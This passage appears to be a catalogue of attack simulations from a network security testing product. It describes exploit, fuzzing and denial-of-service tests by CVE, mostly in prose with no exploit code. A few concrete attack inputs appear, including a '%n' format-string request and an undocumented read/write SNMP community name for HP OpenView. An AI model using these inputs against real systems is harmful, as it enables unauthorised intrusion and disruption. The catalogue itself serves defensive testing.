Threat File Name:	FSC20071009-17_Microsoft_Outlook_Express_and_Windows_Mail_NNTP_Handling_Code_Execution_IPv6.xml
Executive Description:	Microsoft Outlook Express and Windows Mail NNTP Handling Code Execution (IPv6 Version)
Detailed Description:	There is a buffer overflow vulnerability exists in Microsoft Outlook Express and Windows Mail. Specifically the vulnerability is due to lack of boundary check when processing news subjects from the NNTP server. Successful exploitation would allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user. (IPv6 Version)
Protocol Type:	NNTP/IPv6
CVEID:	CVE-2007-3897
Threat Package:	Standard
Threat File Name:	pop_buffer_overflow_257_IPv6.xml
Executive Description:	POP Buffer Overflow [257] Attack (IPv6 Version)
Detailed Description:	This generic threat sends a long buffer [257 bytes] against an POP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer. (IPv6 Version)
Protocol Type:	POP3/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170406-02_ManageEngine_Applications_Manager_MenuHandlerServlet_SQL_Injection.xml
Executive Description:	ManageEngine Applications Manager MenuHandlerServlet SQL Injection
Detailed Description:	An SQL injection vulnerability exists in ManageEngine Applications Manager. This vulnerability is due to insufficient validation of the config_id parameter when processing requests sent to MenuHandlerServlet servlet. By sending crafted request messages, a remote unauthenticated attacker can exploit this vulnerability to inject and execute arbitrary SQL statements on the affected system with the privileges of SYSTEM.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2016-9488
Threat File Name:	amx_vnc_activex_bof.xml
Executive Description:	AMX Corp. VNC ActiveX Control (AmxVnc.dll 1.0.13.0) remote buffer overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the AMX Corp VNC ActiveX application, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3536
Threat Package:	Standard
Threat File Name:	TSL20161104-07_Memcached_process_bin_sasl_auth_Integer_Underflow.xml
Executive Description:	Memcached process_bin_sasl_auth Integer Underflow
Detailed Description:	An integer underflow vulnerability exists in memcached. This vulnerability is due to a lack of bounds checking in the process_bin_sasl_auth function while processing SASL authentication commands. A remote unauthenticated attacker can exploit these vulnerabilities by sending a specially crafted packet to memcached. This can lead to a buffer overflow and possible code execution in the context of the user. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	Memcache
CVEID:	CVE-2016-8706
Threat File Name:	FSC20081209-06_Microsoft_Word_Global_Array_Index_Heap_Overflow.xml
Executive Description:	Microsoft Word Global Array Index Heap Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Word products. The flaw is due to an index error when processing DOC document that contains a crafted TextFlow record. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted DOC file. Successful exploitation can lead to arbitrary code execution within the security context of the currently logged on user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, affected product will terminate resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-4026
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_BlockNo_ACK_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_BlockNo_ACK.xml (IPv6 Version)
Detailed Description:	Fuzzes BlockNo in a TFTP ACK Packet by ranging the block value. OpCode is 0004. (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20060314-08_Microsoft_Excel_Malformed_File_Format_Parsing_Code_Execution_IPv6.xml

Executive Description:	Microsoft Excel Malformed File Format Parsing Code Execution (IPv6 Version)
Detailed Description:	There exists a code execution vulnerability in Microsoft Excel. The vulnerability is caused by improper processing of malformed BOOLERR records within Excel spreadsheet files. An attacker may exploit this vulnerability by enticing a user to open a crafted Excel file, which will enable the attacker to inject and execute arbitrary code within the security context of the target user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0028
Threat Package:	Standard
Threat File Name:	http_big_contentlen.xml
Executive Description:	HTTP server offers an oversized content length
Detailed Description:	This is a simple attack against an HTTP client by setting a oversized content length. This server side threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20090609-09_Microsoft_Internet_Explorer_DHTML_Object_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer DHTML Object Memory Corruption (IPv6 Version)
Detailed Description:	A vulnerability exists in Microsoft Internet Explorer that could allow remote attackers to execute arbitrary code on a vulnerable system. The vulnerability is due to the way Internet Explorer displays a Web page which makes unexpected method calls to HTML objects. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Internet Explorer may terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-1141
Threat Package:	Standard
Threat File Name:	FSC20080409-20_Adobe_Flash_Player_Multimedia_File_DefineSceneAndFrameLabelData_Code_Execution.xml
Executive Description:	Adobe Flash Player Multimedia File DefineSceneAndFrameLabelData Code Execution
Detailed Description:	There exists a memory corruption vulnerability in the Adobe Flash product line. The vulnerability is a result of insufficient data validation when parsing maliciously crafted SWF files. An attacker may exploit this vulnerability by enticing a target user to open a malicious SWF file. Successful exploitation can lead to the injection and execution of arbitrary code in the security context of the currently logged in user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, the affected application will terminate.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2007-0071
Threat Package:	Standard
Threat File Name:	proxy_hunt3.xml
Executive Description:	Proxy Hunting Spam
Detailed Description:	This threat mimics a successful proxy probe for a potential spam relay. It emulates both sides of the conversation that could be expected to be seen with a successful anonymous proxy probe. This proxy attempt normally occurs over misconfigured web servers, which listen on port 80. This threat contains a client reply to emulate the reply expected from the server.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20071009-21_Microsoft_Word_Malformed_String_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Word Malformed String Memory Corruption (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in the way Microsoft Word processes DOC files. The vulnerability is a result of insufficient boundary checking while parsing a font table structure. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Word document, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3899
Threat Package:	Standard
Threat File Name:	FSC20071105-20_Apple_QuickTime_Panorama_Sample_Atoms_Movie_File_Handling_Buffer_Overflow.xml
Executive Description:	Apple QuickTime Panorama Sample Atoms Movie File Handling Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Apple QuickTime. The flaw is due to boundary errors in the QuickTime Virtual Reality (QTVR) when processing QTVR movie files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted QTVR movie file. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-4675
Threat Package:	Standard
Threat File Name:	FSC20081014-27_Microsoft_Internet_Explorer_HTML_Attribute_Handling_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer HTML Attribute Handling Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Internet Explorer. The vulnerability is specifically due to insufficient validation of HTML tags which leads to memory corruption. Remote attackers could exploit this vulnerability by persuading a target user to visit a specially crafted web page. Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3476
Threat Package:	Standard
Threat File Name:	InternetExplorerIMGXML_IPv6.xml
Executive Description:	Internet Explorer IMG and XML Crash (IPv6 Version)
Detailed Description:	This threat causes a crash in Internet Explorer by sending malformed IMG and (IPv6 Version)
Protocol Type:	HTTP/IPv6

Threat Package:	Standard
Threat File Name:	lupper33_IPv6.xml
Executive Description:	Lupper Worm 33 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	jeuce.xml
Executive Description:	Jeuce Denial Of Service Attack
Detailed Description:	This threat sends a URL that crashes the Jeuce Personal Webserver.
Protocol Type:	HTTP
CVEID:	CVE-2005-1663
OSVDB:	12719
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_A.xml
Executive Description:	Fuzz SMTP HELO verb with large buffer
Detailed Description:	Fuzzes the SMTP HELO Parameter with A from size of 0 to a size of 4096.
Protocol Type:	SMTP
Threat Package:	Fuzzing
Threat File Name:	http_format.xml
Executive Description:	HTTP Format String GET Request
Detailed Description:	This threat issues a HTTP GET Request for the URL %n%n%n%n%n. This can affect web servers that do not perform sanity checks on input strings.
Protocol Type:	HTTP
CVEID:	CVE-2002-0690
OSVDB:	4375
Threat Package:	Standard
Threat File Name:	hpopenview_snmp_hidden.xml
Executive Description:	HP OpenView Hidden Community Name
Detailed Description:	This threat performs a SNMP probe of an HP OpenView system with community name snmpd. This is an undocumented community present in certain versions of HP OpenView. This community string has read and write access to the system configuration. SNMP typically listens on port 161.
Protocol Type:	SNMP
CVEID:	CVE-1999-0254
OSVDB:	5770
Threat Package:	Standard
Threat File Name:	hrsDelegate_IPv6.xml
Executive Description:	HTTP Request Smuggling Reverse Poisoning (IPv6 Version)
Detailed Description:	This threat attempts to poison the cache of DeleGate proxy server. This is performed by sending a GET request with a content length field larger than 0. This can either be directed at port 80 or another popularly used proxy port. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20100413-24_Microsoft_Windows_SMB_Client_Transaction_Buffer_Overflow.xml
Executive Description:	Microsoft Windows SMB Client Transaction Buffer Overflow
Detailed Description:	A remote code execution vulnerability exists in Microsoft Windows SMB Client. The vulnerability is due to improper validation of certain fields when handling SMB transaction responses. Remote unauthenticated attackers could exploit this vulnerability by enticing a user to connect to a malicious SMB server and sending a specially crafted SMB response to the target machine. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the operating system kernel (Ring 0). Code injection that does not result in execution could crash the target system, and result in a Denial of Service condition.
Protocol Type:	SMB
CVEID:	CVE-2010-0270
Threat Package:	Standard
Threat File Name:	netdde.xml
Executive Description:	MS04-031 NetDDE Remote Buffer Overflow
Detailed Description:	This threat attempts to get shellcode listening on port 9000 on a Windows computer by taking advantage of a buffer overflow in the NetDDE service. This threat connects to a machine named STAFF-QTWBRHWCT. The NetDDE service must be enabled for the overflow to work. In some cases this shellcode will only cause the NetDDE service to crash. The NetDDE service listens on port 139.
Protocol Type:	NETBIOS_SS
CVEID:	CVE-2004-0206
OSVDB:	10689
Threat Package:	Standard
Threat File Name:	FSC20070124-04_Apple_QuickDraw_PICT_Images_ARGB_Records_Handling_Memory_Corruption.xml
Executive Description:	Apple QuickDraw PICT Images ARGB Records Handling Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in the Apple QuickDraw product. The flaw is due to improper handling of PICT image files. This vulnerability can be exploited by a malicious PICT image on the target host using an affected product which leads to a denial of service condition and possibly execution of arbitrary code.
Protocol Type:	HTTP
CVEID:	CVE-2007-0462
Threat Package:	Standard
Threat File Name:	FSC20090107-05_SAP_GUI_TabOne_ActiveX_Control_Caption_List_Buffer_Overflow_IPv6.xml
Executive Description:	SAP GUI TabOne ActiveX Control Caption List Buffer Overflow (IPv6 Version)

Detailed Description:	There exists a buffer overflow vulnerability in the SAP GUI. Remote attackers can exploit this vulnerability by persuading a target user to visit a specially crafted web page. As a result of processing the malicious command, a heap-based buffer overflow can be triggered which may result in injection and execution of arbitrary code with privileges of the currently logged on user. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the malicious code injected. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Internet Explorer may terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-4827
Threat Package:	Standard
Threat File Name:	zebrafeeds_rfi_IPv6.xml
Executive Description:	ZebraFeeds 1.0 (zf_path) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. ZebraFeeds is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20131220-04_IBM_Rational_Focal_Point_RequestAccessController_Servlet_Information_Disclosure.xml
Executive Description:	IBM Rational Focal Point RequestAccessController Servlet Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in the IBM Focal Point. The vulnerability is due to input validation error of <code><italic>file</italic></code> variable in <code><italic>com.telelogic.focalpoint.pres.controller.RequestAccessController</italic></code> servlet. A remote unauthenticated attacker could exploit this vulnerability to read the configuration files of the Webservice Axis Gateway of Focal Point.
Protocol Type:	HTTP
CVEID:	CVE-2013-5398
OSVDB:	101024
Threat File Name:	FSC20090811-18_Microsoft_Office_Web_Components_Heap_Corruption.xml
Executive Description:	Microsoft Office Web Components Heap Corruption
Detailed Description:	A heap corruption vulnerability exists in Microsoft Office Web Components ActiveX Control that can allow remote attackers to inject and execute arbitrary code on a target system. The vulnerability is due to an implementation error when executing methods on an invalidated object. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted web page. Successful attacks could allow for arbitrary code being injected and executed with privileges of the currently logged on user. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. In the case of an unsuccessful code execution attack, it could cause the vulnerable application terminate abnormally on the target host.
Protocol Type:	HTTP/HTTPS/POP3/IMAP/SMTP
CVEID:	CVE-2009-2496
Threat Package:	Standard
Threat File Name:	TSL20140611-06_HP_Service_Virtualization_AutoPass_License_Server_Directory_Traversal.xml
Executive Description:	HP Service Virtualization AutoPass License Server Directory Traversal
Detailed Description:	A code execution vulnerability exists in HP Service Virtualization running the AutoPass License Server. The vulnerability is due to a directory traversal flaw in UploadRequestHandler.class. A remote, unauthenticated attacker could exploit this vulnerability by sending crafted requests to the vulnerable service. In the event of a successful attack, arbitrary files can be created on the server, leading to arbitrary code execution in the context of the SYSTEM. Tester should turn variable \$destPort into 5814 before test.
Protocol Type:	HTTP
CVEID:	CVE-2013-6221
OSVDB:	107943
Threat File Name:	thefingerserver_cmi.xml
Executive Description:	Finger Server Pipe Vulnerability
Detailed Description:	This threat sends a crafted url to a web based finger script which doesnt sanitize user supplied data allowing arbitrary command execution using the pipe character.The Finger Server is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2000-0128
OSVDB:	7610
Threat File Name:	FSC20071211-08_Microsoft_Windows_Media_Format_ASF_Parsing_Code_Execution.xml
Executive Description:	Microsoft Windows Media Format ASF Parsing Code Execution
Detailed Description:	Multiple buffer overflow vulnerabilities exist in Microsoft Windows Media Format processing engine. The vulnerability is caused due to a boundary error when processing Advanced Systems Format (ASF) files. A remote attacker can exploit this vulnerability by enticing the target user to open crafted ASF file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-0064
Threat Package:	Standard
Threat File Name:	FSC20100112-05_Microsoft_Windows_Embedded_OpenType_Font_Engine_LZCOMP_Integer_Overflow.xml
Executive Description:	Microsoft Windows Embedded OpenType Font Engine LZCOMP Integer Overflow
Detailed Description:	An integer overflow vulnerability has been reported in Microsoft Windows Embedded OpenType (EOT) Font Engine. The vulnerability is due to insufficient validation of an integer value while processing an EOT font compressed using the LZCOMP method. Remote attackers can exploit this vulnerability by enticing target users to view a maliciously crafted font in an application that utilizes the affected font engine, such as Internet Explorer and Microsoft Office products. Successful exploitation of this vulnerability would result in arbitrary code execution with the privileges of the logged in user. In case of an unsuccessful attack, the application using the affected font engine would terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2010-0018
Threat Package:	Standard
Threat File Name:	TSL20111213-05_Microsoft_Office_Word_Hidden_Border_Use-After-Free.xml

Executive Description:	Microsoft Office Word Hidden Border Use-After-Free
Detailed Description:	A use-after-free vulnerability has been reported in Microsoft Office. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted Word document. A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2011-1983
Threat File Name:	TSL20121108-01_Apple_QuickTime_TeXML_Style_Element_Text_Specification_Buffer_Overflow_IPv6.xml
Executive Description:	Apple QuickTime TeXML Style Element Text Specification Buffer Overflow(IPv6 Version)
Detailed Description:	A buffer overflow vulnerability has been reported in Apple QuickTime. The vulnerability is due to insufficient bounds checking while parsing style elements in QuickTime TeXML files. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to process a maliciously crafted TeXML file. This can lead to code execution in the context of the affected user. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	IPV6,HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS
CVEID:	CVE-2012-3752
Threat File Name:	TSL20061205-14_Citrix_Presentation_Server_Client_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	Citrix Presentation Server Client ActiveX Control Buffer Overflow(IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the ICA Client ActiveX control in Citrix Presentation Server Client. The flaw is due to improper handling of parameters in the SendChannelData function of the ActiveX control. By persuading the target user to visit a malicious web site, an attacker may possibly execute arbitrary code with privileges of the currently logged in user. If an attack attempt is unsuccessful in injecting and executing arbitrary code, the application using the vulnerable ICA Client ActiveX Control might terminate abnormally. If a code execution attempt is carried out successfully, the behaviour of the target host is dependent on the intention of the injected code. The injected code is executed within the security context of current user.
Protocol Type:	IPV6,HTTP,HTTPS
Threat File Name:	winamp_avi_dos.xml
Executive Description:	Nullsoft Winamp AVI File Processing Denial of Service Vulnerability
Detailed Description:	This threat uses a malicious avi media file that once played in a vulnerable Winamp client will result in a denial of service condition or execution of arbitrary code. Winamp is a client application that can retrieve avi files from a web server listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2180
Threat Package:	Standard
Threat File Name:	mybb_search_sql.xml
Executive Description:	MyBulletinBoard SQL Injection Attack
Detailed Description:	This threat attempts to add an admin user to the MyBulletinBoard PHP web application via a SQL injection vulnerability in the search.php file. This web application uses a webserver, and typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2580
OSVDB:	17020
Threat Package:	Standard
Threat File Name:	TSL20140522-12_SAP_Sybase_Event_Stream_Processor_esp_parse_Connection_Unsafe_Pointer_Dereference.xml
Executive Description:	SAP Sybase Event Stream Processor esp_parse Connection Unsafe Pointer Dereference
Detailed Description:	Two unsafe pointer dereference vulnerabilities have been reported in SAP Sybase Event Stream Processor (ESP). These vulnerabilities are caused by the listening service accepting unsanitized pointers in XMLRPC requests. By sending crafted requests to a vulnerable server, an remote attacker can cause the service to terminate resulting in a denial of service condition. Tester should turn variable \$destPort into 1024-65535 before test.
Protocol Type:	HTTP
CVEID:	CVE-2014-3458
OSVDB:	107262
Threat File Name:	ibm_domino_dwa7wdll_activex_bof_IPv6.xml
Executive Description:	IBM Domino Web Access Upload Module dwa7w.dll Memory Corruption Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in IBM Domino Web Access Upload Module dwa7w.dll ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delived via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4474
Threat Package:	Standard
Threat File Name:	BEAWeblogic_XSS.xml
Executive Description:	BEA Weblogic XSS
Detailed Description:	This threat takes advantage of a Cross-Site Scripting attack on BEA's Weblogic Administration Console. This can be used for stealing cookies and authentication information. The BEA Administration Console typically listens on port 8001.
Protocol Type:	HTTP
CVEID:	CVE-2005-1380
OSVDB:	15895
Threat Package:	Standard
Threat File Name:	TSL20111123-03_HP_Data_Protector_Multiple_Products_RequestCopy_SQL_Injection.xml
Executive Description:	HP Data Protector Multiple Products RequestCopy SQL Injection
Detailed Description:	An SQL injection vulnerability exists in HP Data Protector Notebook Extension and HP Data Protector for Personal Computers. The specific flaw is caused by insufficient validation of the type field in a user supplied SOAP request to the DPNECentral web service. A remote unauthenticated attacker can leverage this vulnerability to execute arbitrary SQL queries on a target system within the security context of the affected service.
Protocol Type:	HTTP

CVEID:	CVE-2011-3158
Threat File Name:	TSL20151218-02_Adobe_Flash_iExternalizable_Interface_readExternal_Method_Type_Confusion.xml
Executive Description:	Adobe Flash iExternalizable Interface readExternal Method Type Confusion
Detailed Description:	A type confusion vulnerability has been reported in Adobe Flash. The vulnerability is due to the readExternal method enforced by the iExternalizable interface being treated as a function by the AVM despite the identifier ;readExternal; being overwritten. A remote attacker could exploit this vulnerability by enticing a user into opening a specially crafted SWF or web page. Successful exploitation could lead to arbitrary code execution under the security context of the user process.
Protocol Type:	HTTPS, HTTP, IMAP, POP3, SMB/CIFS, SMTP, NFS
CVEID:	CVE-2015-7647
Threat File Name:	FSC20070117-14_Microsoft_Help_Workshop_CNT_Help_Contents_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Help Workshop CNT Help Contents Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability has been found in the Microsoft Help Workshop product. The flaw is created by insufficient boundary checks of strings supplied in Help Content (CNT) files. A malicious user may construct a CNT file that will result in the diversion of the process flow of the vulnerable application. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0352
Threat Package:	Standard
Threat File Name:	peoplebook_rfi.xml
Executive Description:	Peoplebook Mambo Component Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url that exploits a failing in the Peoplebook component which allows a malicious user to include commands in the context of the vulnerable web server. Mambo is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20161230-07_PHPMailer_mail_Sender_Command_Injection.xml
Executive Description:	PHPMailer mail Sender Command Injection
Detailed Description:	A command injection vulnerability has been reported in the PHPMailer library package. The vulnerability is due to a failure to properly validate the Sender parameter sent to the mail() function. A remote, unauthenticated attacker could exploit this vulnerability by supplying maliciously crafted data to the PHPMailer class to send email. Successful exploitation results in arbitrary command execution on the target server with the privileges of the web service.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2016-10033
Threat File Name:	fuzz-HTTP-PUT-_PrependHTTPWithformatn.xml
Executive Description:	Fuzz HTTP PUT with Request-URI prepended with %n
Detailed Description:	Fuzzes the Request-URI field by prepending %n
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	TSL20121115-03_Novell_NetIQ_Privileged_User_Manager_Eval_Policy_Bypass_IPv6.xml
Executive Description:	Novell NetIQ Privileged User Manager Eval Policy Bypass (IPv6 Version)
Detailed Description:	A policy-bypass vulnerability has been reported in Novell NetIQ Privileged User Manager, which could allow remote attackers to compromise a system. The vulnerability is due to an access control weakness when handling calls to the eval method within POST requests. A remote, unauthenticated attacker can exploit this vulnerability by sending a malicious eval request to the vulnerable server. Successful exploitation could result in command execution under the context of the SYSTEM
Protocol Type:	IPV6, HTTP, HTTPS
OSVDB:	87334
Threat File Name:	phpmydirectory_cmi_IPv6.xml
Executive Description:	phpMyDirectory 10.4.4 Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via cron.php's ROOT_PATH parameter. Docebo is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2521
Threat Package:	Standard
Threat File Name:	eXtremail_v4_login_bof.xml
Executive Description:	eXtremail <= 2.1.1 (LOGIN) (v4) Remote Stack Overflow Vulnerability
Detailed Description:	This threat demonstrates a buffer overflow in the eXtremail admin interface that results in execution of arbitrary code or denial of service via a long LOGIN command to the admin interface port (4501/tcp).
Protocol Type:	Proprietary
CVEID:	CVE-2007-5466
Threat Package:	Standard
Threat File Name:	windowsupdateDNSSpoof.xml
Executive Description:	Windows Update Spoofing Attempt
Detailed Description:	This threat mimics the ability of a DNS spoof attempt trying to redirect a request for windowsupdate.microsoft.com to a malicious server. This could be used as a compound attack attempting to convince a user to download a malicious executable.
Protocol Type:	DNS
Threat Package:	Standard
Threat File Name:	FSC20070104-11_Microsoft_XML_Core_Services_MIME_Viewer_Memory_Corruption.xml
Executive Description:	Microsoft XML Core Services MIME Viewer Memory Corruption

Detailed Description:	There exists a memory corruption vulnerability in Microsoft XML Core Services. The vulnerability is due to a race condition in synchronous rendering of XML documents in the MIME Viewer. Remote attackers could exploit this vulnerability by persuading a target user to visit a specially crafted web page. Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the logged in user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may freeze or terminate as a result of invalid memory access.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2007-0099
Threat Package:	Standard
Threat File Name:	FSC20080909-10_Microsoft_Windows_Graphics_Rendering_Engine_EMF_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Windows Graphics Rendering Engine EMF Parsing Memory Corruption (IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in the way that GDI+ handles parsing of EMF image files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted EMF file image. Successful exploitation can result in memory corruption which may lead to arbitrary code execution under the credentials of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3012
Threat Package:	Standard
Threat File Name:	TSL20140220-06_MW6_Technologies_DataMatrix_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	MW6 Technologies DataMatrix ActiveX Control Buffer Overflow(IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in the MW6 Technologies DataMatrix ActiveX Control. The vulnerability is due to improperly handling of the Data property value. A remote attacker can exploit this vulnerability by crafting a malicious HTML document causing a buffer overflow. Successful exploitation could lead to code execution in the security context of the current user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2013-6040
OSVDB:	102324
Threat File Name:	advancedclanscript_rfi.xml
Executive Description:	AdVancedClanscript < 3.4 Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.AdvancedClanScript is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5061
OSVDB:	29123
Threat Package:	Standard
Threat File Name:	apache_mod_jk_bof_IPv6.xml
Executive Description:	Apache mod_jk 1.2.19/1.2.20 Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a stack overflow in Apache mod_jk 1.2.20. Using a large HTTP 1.0 get request to a vulnerable server will result in the execution of arbitrary code. Apache is a web server application an typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0774
OSVDB:	33855
Threat Package:	Standard
Threat File Name:	FloodArp.xml
Executive Description:	ARP Reply Flood
Detailed Description:	This threat sends bogus ARP replies to the target machine, in an effort to cause its lookup table to fill or cause other aberrant behaviour. After the ARP table is full, sometimes the switch will failover to a hub-like system.
Protocol Type:	ARP
CVEID:	CVE-1999-1548
OSVDB:	10060
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_AppendformatnToOPTION_IPv6.xml
Executive Description:	Fuzz HTTP OPTION appended by %n (IPv6 Version)
Detailed Description:	Fuzzes the Method field by appending %n (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	aardvarktopsites_cmi.xml
Executive Description:	Aardvark Topsites PHP 4.2.2 Arbitrary Command Execution (join.php)
Detailed Description:	This threat leverages an arbitrary file inclusion flaw into a remote command execution flaw through a flaw in the join.php script. Aardvark Topsites is a web application which typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	RoseAttack2.xml
Executive Description:	Rose Attack Flood Variant 2
Detailed Description:	This threat is a denial of service against the fragmentation reassembly code in Windows. It causes the target computer to reject further fragments from other sources for a window time of approximately 2 minutes. There is an unbound variable to specify the number of fragments with distinct IP identification numbers in this threat.
Protocol Type:	IP
CVEID:	CVE-2004-0744
OSVDB:	8431
Threat Package:	Standard
Threat File Name:	TSL20170209-09_Trend_Micro_Control_Manager_XML_External_Entity_Processing_IPv6.xml
Executive Description:	Trend Micro Control Manager XML External Entity Processing (IPv6 Version)

Detailed Description:	An XML external entity processing vulnerability has been reported in Trend Micro Control Manager. The vulnerability is due to lack of validation of user-supplied input prior to executing an XML query. A remote, authenticated attacker could exploit this vulnerability by sending a malicious HTTP request to the target system. Successful exploitation could allow the attacker to read arbitrary files from the target system.
Protocol Type:	HTTPS, IPv6
Threat File Name:	mambo_joomla_dos_IPv6.xml
Executive Description:	Mambo/Joomla DoS attack and (IPv6 Version)
Detailed Description:	This threat sends a number of crafted urls which both enumerate paths as well as cause a general denial of service condition. Mambo/Joomla is a web based content management system which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	15945
Threat Package:	Standard
Threat File Name:	FSC20101105-04_Symantec_IM_Manager_LoggedInUsers_lgx_Definition_File_Multiple_SQL_Injections.xml
Executive Description:	Symantec IM Manager LoggedInUsers.lgx Definition File Multiple
